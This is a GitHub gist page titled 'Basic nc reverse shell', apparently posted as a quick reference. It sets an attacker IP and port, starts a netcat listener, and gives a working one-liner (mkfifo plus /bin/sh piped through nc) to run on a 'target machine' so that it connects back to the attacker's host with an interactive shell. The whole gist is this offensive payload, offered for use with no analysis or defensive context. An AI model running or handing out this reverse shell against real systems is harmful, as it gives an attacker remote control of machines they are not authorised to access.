Skip to content

Instantly share code, notes, and snippets.

@framp
Created January 23, 2017 12:37
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save framp/bc4855edc632972f85d345baf6950aff to your computer and use it in GitHub Desktop.
Save framp/bc4855edc632972f85d345baf6950aff to your computer and use it in GitHub Desktop.
Basic nc reverse shell
YOURIP=10.0.0.1
PORT=4444
On your machine:
nc -l $PORT
Paste this:
echo "Any command"
Execute this on the target machine:
rm -f /tmp/b; mkfifo /tmp/b; /bin/sh -i 2>&1 0</tmp/b | nc $YOURIP $PORT 1>/tmp/b
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment